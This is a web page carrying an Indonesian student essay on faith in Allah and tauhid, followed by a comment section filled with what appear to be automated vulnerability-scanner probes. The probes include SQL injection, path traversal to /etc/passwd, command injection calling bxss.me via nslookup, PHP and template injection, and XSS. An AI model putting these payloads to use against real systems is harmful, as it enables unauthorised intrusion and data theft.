Orientasi Iman Kepada Allah SWT

Publish

15 January 2024

Suara Muhammadiyah

Penulis

0
485
Iman

Iman

Oleh: Putri Sabrina Uswatun Hasanah dan Anggun Monica (*

Sering kali kita mendengar kata iman dalam kehidupan sehari-hari. Dalam islam, umat muslim meyakini enam rukun iman yang salah satunya pertama diimani adalah iman kepada allah. Lantas apa sih yang disebut dengan iman dalam islam itu?

Iman adalah akidah Islamiyah, yakni sistem keyakinan atau kepercayaan dalam Islam. Akidah (‘aqoda - ya’qidu - ‘aqqdan/aqad) artinya ikatan, yakni ikatan hati atau jiwa alias keyakinan atau kepercayaan. Kata Iman berasal dari bahasa arab yaitu “امن“ (amana - yu’minu - imanan) yang artinya aman, damai, tentram. Secara harfiyah (etimologi) berarti percaya, Secara terminologi, berarti membenarkan dengan hati, lalu diungkapkan dengan kata-kata, dan diaplikasikan dalam kehidupan sehari-hari. hal ini tercantum juga dalam alquran, 

 

يَا أَيُّهَا الَّذِينَ آمَنُوا آمِنُوا بِاللَّهِ وَرَسُولِهِ وَالْكِتَابِ الَّذِي نَزَّلَ عَلَىٰ رَسُولِهِ وَالْكِتَابِ الَّذِي أَنْزَلَ مِنْ قَبْلُ ۚ وَمَنْ يَكْفُرْ بِاللَّهِ وَمَلَائِكَتِهِ وَكُتُبِهِ وَرُسُلِهِ وَالْيَوْمِ الْآخِرِ فَقَدْ ضَلَّ ضَلَالًا بَعِيدًا

 

Artinya : “Wahai orang-orang yang beriman, tetaplah beriman kepada Allah dan Rasul-Nya dan kepada kitab yang Allah turunkan kepada Rasul-Nya serta kitab yang Allah turunkan sebelumnya. Barangsiapa yang kafir kepada Allah, malaikat-malaikat-Nya, kitab-kitab-Nya, rasul-rasul-Nya, dan hari kemudian, maka sesungguhnya orang itu telah sesat sejauh-jauhnya. [QS. An-Nisa : 136]

Berbicara terkait iman kepada allah maka akan terhubung dengan tauhid. Tauhid artinya mengesakan Allah dalam ibadah dan menafikan semua sesembahan selain Allah Ta’ala. Iman memiliki makna lebih luas daripada tauhid. Iman di dalamnya mencakup makna tauhid. Iman bentuknya mentauhidkan Allah dan mengikhlaskan ibadah kepada-Nya. Tauhid sebagaimana biasanya merupakan konsep untuk menetapkan wujud Allah SWT hanyalah satu dan tunggal (Esa). 

Ibnu Taimiyah melakukan pembaharuan akidah dengan berusaha membagi Tauhid menjadi tiga konsep. Pertama adalah Tauhid Rububiyah (perbuatan), Allah Maha kuasa dan yang mengatur atas alam beserta isinya. Contohnya seperti menciptakan makhluk, menghidupkan makhluk, mematikan makhluk, memberi serta membagi rizki kepada seluruh makhluk, mengubah takdir, atau mendatangkan manfaat dan pertolongan kepada makhluk bahkan menolak dan mendatangkan segala mudharat atau kerusakan. Kedua adalah Tauhid Uluhiyyah (Ibadah), Seperti sholat, puasa, zakat dan amalan-amalan yang lainnya. Segala ibadah yang dilakukan manusia berdasarkan keimanan ini adalah pusat dari perwujudan keislaman serta awal dan akhir dari sifat ridha terhadap Allah. Ketiga adalah Tauhid Asma’ Wa-asshifat, yang dicontohkan dengan tidak menyontek ketika ujian. mengajarkan kepada generasi bangsa bahwa Allah SWT itu memiliki nama yakni Al-Bashir. Al-Bashir mempunyai arti Maha Melihat. Allah yang senantiasa melihat apa yang kita lakukan baik itu kecil maupun besar.

Tidak hanya itu terdapat beberapa dalil-dalil terkait keberadaan allah. dalil ini terbagi menjadi tiga. Dalil Fitrah, merupakan benih keyakinan terhadap eksistensi Allah merupakan fitrah atau sesuatu yang bersifat kodrati. Allah menciptakan manusia disertai dengan berbagai macam naluri, termasuk di dalamnya naluri bertuhan, naluri beragama, yaitu agama tauhid. Kalau ada manusia yang tidak beragama tauhid, maka hal itu tidaklah wajar. Hal tersebut tercantum dalam alquran, 

 

هُوَ الَّذِي يُسَيِّرُكُمْ فِي الْبَرِّ وَالْبَحْرِ ۖ حَتَّىٰ إِذَا كُنْتُمْ فِي الْفُلْكِ وَجَرَيْنَ بِهِمْ بِرِيحٍ طَيِّبَةٍ وَفَرِحُوا بِهَا جَاءَتْهَا رِيحٌ عَاصِفٌ وَجَاءَهُمُ الْمَوْجُ مِنْ كُلِّ مَكَانٍ وَظَنُّوا أَنَّهُمْ أُحِيطَ بِهِمْ ۙ دَعَوُا اللَّهَ مُخْلِصِينَ لَهُ الدِّينَ لَئِنْ أَنْجَيْتَنَا مِنْ هَٰذِهِ لَنَكُونَنَّ مِنَ الشَّاكِرِينَ

 

Artinya : “Dialah Tuhan yang menjadikan kamu dapat berjalan di daratan, (berlayar) di lautan. Sehingga apabila kamu berada di dalam bahtera, dan meluncurlah bahtera itu membawa orang-orang yang ada di dalamnya dengan tiupan angin yang baik, dan mereka bergembira karenanya, datanglah angin badai, dan (apabila) gelombang dari segenap penjuru menimpanya, dan mereka yakin bahwa mereka telah terkepung (bahaya), maka mereka berdoa kepada Allah dengan mengikhlaskan ketaatan kepada-Nya semata-mata. (Mereka berkata): "Sesungguhnya jika Engkau menyelamatkan kami dari bahaya ini, pastilah kami akan termasuk orang-orang yang bersyukur". [Yunus : 22]

 

Dalil Akal, yaitu Keinginan untuk mengetahui dan mengenal Allah, menjadi renungan manusia dengan menggunakan akal pikiran yang kritis disertai dengan pengamatan intuisi yang halus dan tajam pasti akan membuahkan hasil semakin bertambah kuat keyakinannya (belief) bahwa sesungguhnya jagat raya beserta seluruh isinya ini adalah makhluk Allah, yang diciptakan oleh sang Maha Pencipta dengan penuh perencanaan dan bertujuan. Dalil ini tercantum dalam alquran, 

 

يُنۢبِتُ لَكُم بِهِ ٱلزَّرْعَ وَٱلزَّيْتُونَ وَٱلنَّخِيلَ وَٱلْأَعْنَـٰبَ وَمِن كُلِّ ٱلثَّمَرَٰتِ ۗ إِنَّ فِى ذَٰلِكَ لَـَٔايَةًۭ لِّقَوْمٍۢ يَتَفَكَّرُونَ (١١) وَسَخَّرَ لَكُمُ الَّيْلَ وَالنَّهَارَۙ وَالشَّمْسَ وَالْقَمَرَ ۗوَالنُّجُوْمُ مُسَخَّرٰتٌۢ بِاَمْرِهٖ ۗاِنَّ فِي ذٰلِكَ لَاٰيٰتٍ لِّقَوْمٍ يَّعْقِلُوْنَۙ -( ١٢)

 

Artinya : “Dia menumbuhkan bagi kamu dengan air hujan itu tanam-tanaman; zaitun, korma, anggur dan segala macam buah-buahan. Sesungguhnya pada yang demikian itu benar-benar ada tanda (kekuasaan Allah) bagi kaum yang memikirkan. Dan Dia menundukkan malam dan siang, matahari dan bulan untukmu. Dan bintang-bintang itu ditundukkan (untukmu) dengan perintah-Nya. Sesungguhnya pada yang demikian itu benar-benar ada tanda-tanda (kekuasaan Allah) bagi kaum yang memahami(nya).” [An-Nahl : 11-12]

 

Dalil Naqli, adalah dalil pembuktian akan keberadaan dengan merujuk petunjuk kitab suci. Dengan fitrah, manusia bisa mengakui adanya Tuhan, dan dengan akal pikiran bisa membuktikannya, namun manusia tetap memerlukan dalil naqli (al-Qur’an dan as-Sunnah) untuk membimbing manusia mengenal Tuhan yang sebenarnya dengan segala asma dan sifat-Nya. Dalil ini tercantum dalam alquran,

 

هُوَ الْأَوَّلُ وَالْآخِرُ وَالظَّاهِرُ وَالْبَاطِنُ ۖ وَهُوَ بِكُلِّ شَيْءٍ عَلِيمٌ

 

Artinya : “Dialah Yang Awal dan Yang Akhir Yang Zhahir dan Yang Bathin; dan Dia Maha Mengetahui segala sesuatu.” [Al-Hadid: 3]

 

Lalu apa keistimewaan atau keutamaan tauhid dari kalimat Laa ilaha Illallah?. Berikut beberapa keutamaan yang terkandung dalam kalimat tersebut yaitu Selamat dari Api Neraka, Menguatkan Hati, Terhindar dari dosa Besar, Menurunkan Rahmat Allah, Mendapat Ampunan Dosa. 

الَّذِينَ آمَنُوا وَلَمْ يَلْبِسُوا إِيمَانَهُمْ بِظُلْمٍ أُولَٰئِكَ لَهُمُ الْأَمْنُ وَهُمْ مُهْتَدُونَ

Artinya : “Orang-orang yang beriman dan tidak mencampuradukkan iman mereka dengan kezaliman (syirik), mereka itulah yang mendapat keamanan dan mereka itu adalah orang-orang yang mendapat petunjuk.” [Al-An’am : 82]

عن عبادة بن الصامت رضي الله عنه قال: قال رسول الله صلى الله عليه وسلم "مَنْ شهِد أنْ لا إله إلا الله وحده لا شرِيك له وأنَّ محمَّدا عبده ورسُولُه، وأنَّ عِيسى عبدُ الله ورسُولُه وكَلِمَتُه أَلقَاها إِلى مريم ورُوُحٌ مِنه، والجنَّة حَقٌّ والنَّار حقٌّ، أَدْخَلَه الله الجنَّة على ما كان مِنَ العمَل".

Ubādah bin Aṣ-Ṣāmit -raḍiyallāhu 'anhu- meriwayatkan, Rasulullah -ṣallallāhu 'alaihi wa sallam- bersabda, “Siapa yang bersaksi bahwa tidak ada sesembahan yang berhak disembah selain Allah semata, tidak ada sekutu bagi-Nya, juga bersaksi bahwa Muhammad adalah hamba dan Rasul-Nya, bahwa Isa adalah hamba Allah dan Rasul-Nya, serta kalimat-Nya yang disampaikan pada Maryam dan ruh dari-Nya, juga bersaksi bahwa surga dan neraka benar adanya; maka Allah akan memasukkannya ke dalam surga apapun amalnya." (HR. Bukhari dan Muslim no. 33)

فَإِنَّ اللَّهَ حَرَّمَ عَلَى النَّارِ مَنْ قَالَ لاَ إِلَهَ إِلاَّ اللَّهُ . يَبْتَغِى بِذَلِكَ وَجْهَ اللَّهِ

Artinya : “Sesungguhnya Allah mengharamkan dari neraka, bagi siapa yang mengucapkan laa ilaha illallah (tiada sesembahan yang benar disembah selain Allah) yang dengannya mengharap wajah Allah” (HR. Bukhari no. 425 dan Muslim no. 33)

Lantas bagaimana ciri-ciri dari beriman kepada allah. berikut beberapa ciri-ciri yang bisa dijadikan indikator seseorang dikatakan beriman. Seperti Takut kepada Allah, Mendirikan Sholat, Selalu bersyukur Sikap, Berakhlak baik, Bersikap sabar, Tawakal. Keimanan adakalanya naik dan turun. dalam alquran pun dijelaskan bagaimana iman bisa bertambah maupun berkurang. 

إِنَّمَا الْمُؤْمِنُونَ الَّذِينَ إِذَا ذُكِرَ اللَّهُ وَجِلَتْ قُلُوبُهُمْ وَإِذَا تُلِيَتْ عَلَيْهِمْ آيَاتُهُ زَادَتْهُمْ إِيمَانًا وَعَلَىٰ رَبِّهِمْ يَتَوَكَّلُونَ

Artinya : “Sesungguhnya orang-orang yang beriman ialah mereka yang bila disebut nama Allah gemetarlah hati mereka, dan apabila dibacakan ayat-ayat-Nya bertambahlah iman mereka (karenanya), dan hanya kepada Tuhanlah mereka bertawakal.” [Al-Anfal : 2]

إِنَّ الَّذِينَ آمَنُوا ثُمَّ كَفَرُوا ثُمَّ آمَنُوا ثُمَّ كَفَرُوا ثُمَّ ازْدَادُوا كُفْرًا لَمْ يَكُنِ اللَّهُ لِيَغْفِرَ لَهُمْ وَلَا لِيَهْدِيَهُمْ سَبِيلًا

Arinya : “Sesungguhnya orang-orang yang beriman kemudian kafir, kemudian beriman (pula), kamudian kafir lagi, kemudian bertambah kekafirannya, maka sekali-kali Allah tidak akan memberi ampunan kepada mereka, dan tidak (pula) menunjuki mereka kepada jalan yang lurus.” [An-Nisa : 137]

Kesimpulannya Iman kepada Allah Subhanahu Wa Ta’ala tercantum dalam rukun iman dimana posisi iman kepada Allah Subhanahu Wa Ta’ala berada pada urutan pertama, karena pada dasarnya tidak ada yang lebih agung daripada Allah sang Pencipta alam semesta. Percaya sepenuh hati akan eksistensi Allah, sesuai dengan tuntutan yang ada di dalam Al Qur’an dan Hadits Nabi, dan menjalankan ibadah amal sesuai dengan tuntunan al qur’an dan al sunnah. 

*) Mahasiswa Prodi Pendidikan Guru Pendidikan Anak Usia Dini Universitas Ahmad Dahlan


Komentar

pHqghUme

555

pHqghUme

1Rlt5QR9aO

pHqghUme

response.write(9297413*9595969)

pHqghUme

'+response.write(9297413*9595969)+'

pHqghUme

"+response.write(9297413*9595969)+"

pHqghUme

WLbkzSCa

pHqghUme

555

pHqghUme

../../../../../../../../../../../../../../etc/passwd

pHqghUme

555 bcc:009247.14963-257445.14963.27c41.19800.2@bxss.me

pHqghUme

to@example.com> bcc:009247.14963-257446.14963.27c41.19800.2@bxss.me

pHqghUme

../../../../../../../../../../../../../../windows/win.ini

pHqghUme

555

pHqghUme

../555

pHqghUme

555<esi:include src="http://bxss.me/rpb.png"/>

pHqghUme

${9999155+9999969}

pHqghUme

555&n909113=v994059

pHqghUme

echo sjeaiv$()\ syutku\nz^xyu||a #' &echo sjeaiv$()\ syutku\nz^xyu||a #|" &echo sjeaiv$()\ syutku\nz^xyu||a #

pHqghUme

&echo buwcqd$()\ mtjzzc\nz^xyu||a #' &echo buwcqd$()\ mtjzzc\nz^xyu||a #|" &echo buwcqd$()\ mtjzzc\nz^xyu||a #

pHqghUme

'"()

pHqghUme

)

pHqghUme

!(()&&!|*|*|

pHqghUme

^(#$!@#$)(()))******

pHqghUme

555

pHqghUme

|echo nxfdsi$()\ luvhzu\nz^xyu||a #' |echo nxfdsi$()\ luvhzu\nz^xyu||a #|" |echo nxfdsi$()\ luvhzu\nz^xyu||a #

pHqghUme

'.gethostbyname(lc('hitlc'.'jbtpnsgbb44fc.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(109).chr(75).chr(105).chr(73).'

pHqghUme

".gethostbyname(lc("hitvj"."gylmzhmm7a698.bxss.me."))."A".chr(67).chr(hex("58")).chr(102).chr(90).chr(115).chr(72)."

pHqghUme

HttP://bxss.me/t/xss.html?%00

pHqghUme

(nslookup hittfpbubqnth0577c.bxss.me||perl -e "gethostbyname('hittfpbubqnth0577c.bxss.me')")

pHqghUme

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

pHqghUme

bxss.me/t/xss.html?%00

pHqghUme

$(nslookup hitgujmqekczmf856f.bxss.me||perl -e "gethostbyname('hitgujmqekczmf856f.bxss.me')")

pHqghUme

"+"A".concat(70-3).concat(22*4).concat(118).concat(88).concat(97).concat(79)+(require"socket" Socket.gethostbyname("hitcn"+"bvitwwnkd27a3.bxss.me.")[3].to_s)+"

pHqghUme

1some_inexistent_file_with_long_name.jpg

pHqghUme

&(nslookup hitrtlikxesho9d680.bxss.me||perl -e "gethostbyname('hitrtlikxesho9d680.bxss.me')")&'\"`0&(nslookup hitrtlikxesho9d680.bxss.me||perl -e "gethostbyname('hitrtlikxesho9d680.bxss.me')")&`'

pHqghUme

Http://bxss.me/t/fit.txt

pHqghUme

|(nslookup hitipdkehbtjj11c68.bxss.me||perl -e "gethostbyname('hitipdkehbtjj11c68.bxss.me')")

pHqghUme

`(nslookup hitiwxwybutex26d91.bxss.me||perl -e "gethostbyname('hitiwxwybutex26d91.bxss.me')")`

pHqghUme

http://bxss.me/t/fit.txt?.jpg

pHqghUme

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

pHqghUme

orientasi-iman-kepada-allah-swt

pHqghUme

/etc/shells

pHqghUme

';print(md5(31337));$a='

pHqghUme

orientasi-iman-kepada-allah-swt

pHqghUme

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

pHqghUme

c:/windows/win.ini

pHqghUme

";print(md5(31337));$a="

pHqghUme

'+'A'.concat(70-3).concat(22*4).concat(117).concat(81).concat(99).concat(70)+(require'socket' Socket.gethostbyname('hitkg'+'zyakagbd198aa.bxss.me.')[3].to_s)+'

pHqghUme

bxss.me

pHqghUme

orientasi-iman-kepada-allah-swt/.

pHqghUme

${@print(md5(31337))}

pHqghUme

/xfs.bxss.me

pHqghUme

${@print(md5(31337))}\

pHqghUme

'"

pHqghUme

'.print(md5(31337)).'

pHqghUme

555'"()&%<acx><ScRiPt >TzDJ(9322)</ScRiPt>

pHqghUme

<!--

pHqghUme

'"()&%<acx><ScRiPt >TzDJ(9731)</ScRiPt>

pHqghUme

5559324071

pHqghUme

acu8519<s1﹥s2ʺs3ʹuca8519

pHqghUme

555

pHqghUme

<%={{={@{#{${acx}}%>

pHqghUme

<th:t="${acx}#foreach

pHqghUme

1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>

pHqghUme

acx{{98991*97996}}xca

pHqghUme

acx[[${98991*97996}]]xca

pHqghUme

acx__${98991*97996}__::.x

pHqghUme

"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")

pHqghUme

acu3107<s1﹥s2ʺs3ʹuca3107

pHqghUme

<%={{={@{#{${acx}}%>

pHqghUme

<th:t="${acx}#foreach

pHqghUme

1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>

pHqghUme

acx{{98991*97996}}xca

pHqghUme

acx[[${98991*97996}]]xca

pHqghUme

acx__${98991*97996}__::.x

pHqghUme

"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")

pHqghUme

5559476"();}]9354

pHqghUme

%35%35%35%39%37%36%36%22%28%29%3B%7D%5D%39%39%34%31

pHqghUme

555</script><script>TzDJ(9762)</script>

pHqghUme

555

pHqghUme

555

pHqghUme

aRW5TgUe

pHqghUme

-1 OR 2+183-183-1=0+0+0+1 --

pHqghUme

-1 OR 2+993-993-1=0+0+0+1

pHqghUme

-1' OR 2+148-148-1=0+0+0+1 --

pHqghUme

-1' OR 2+931-931-1=0+0+0+1 or 'upGjNJLc'='

pHqghUme

-1" OR 2+501-501-1=0+0+0+1 --

pHqghUme

if(now()=sysdate(),sleep(15),0)

pHqghUme

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

pHqghUme

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

pHqghUme

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

pHqghUme

-1; waitfor delay '0:0:15' --

pHqghUme

-1); waitfor delay '0:0:15' --

pHqghUme

1 waitfor delay '0:0:15' --

pHqghUme

oqGEr00y'; waitfor delay '0:0:15' --

pHqghUme

-5 OR 408=(SELECT 408 FROM PG_SLEEP(15))--

pHqghUme

-5) OR 689=(SELECT 689 FROM PG_SLEEP(15))--

pHqghUme

-1)) OR 256=(SELECT 256 FROM PG_SLEEP(15))--

pHqghUme

r69UVGxG' OR 370=(SELECT 370 FROM PG_SLEEP(15))--

pHqghUme

E8q7sENg') OR 915=(SELECT 915 FROM PG_SLEEP(15))--

pHqghUme

OEU2xfxB')) OR 263=(SELECT 263 FROM PG_SLEEP(15))--

pHqghUme

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

pHqghUme

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

pHqghUme

1'"

pHqghUme

@@sNJRB

pHqghUme

555

Berita Lainnya

Berita Terkait

Tentang Politik, Pemerintahan, Partai, Dll

Hadlarah

Oleh: Benni Setiawan Dosen Universitas Negeri Yogyakarta, Anggota MPK PP Muhamamdiyah   Isla....

Suara Muhammadiyah

21 March 2024

Hadlarah

SURAKARTA, Suara Muhammadiyah - Ikatan Mahasiswa Muhammadiyah (IMM) Komisariat Pondok Hajjah Nuriyah....

Suara Muhammadiyah

26 February 2024

Hadlarah

Oleh: Ali Trigiyatno Ketua Pimpinan Daerah Muhammadiyah Batang Ketika kuliah dulu, penulis dapat c....

Suara Muhammadiyah

11 January 2024

Hadlarah

Buku ini menyoroti isu penting yang kerap menjadi semacam dilema ketika harus memilih kriteria kader....

Suara Muhammadiyah

19 February 2024

Hadlarah

Oleh : Dartim Ibnu Rushd  Dosen Prodi Pendidikan Agama Islam-Universitas Muhammadiyah Surakart....

Suara Muhammadiyah

6 January 2024

Tentang

© Copyright . Suara Muhammadiyah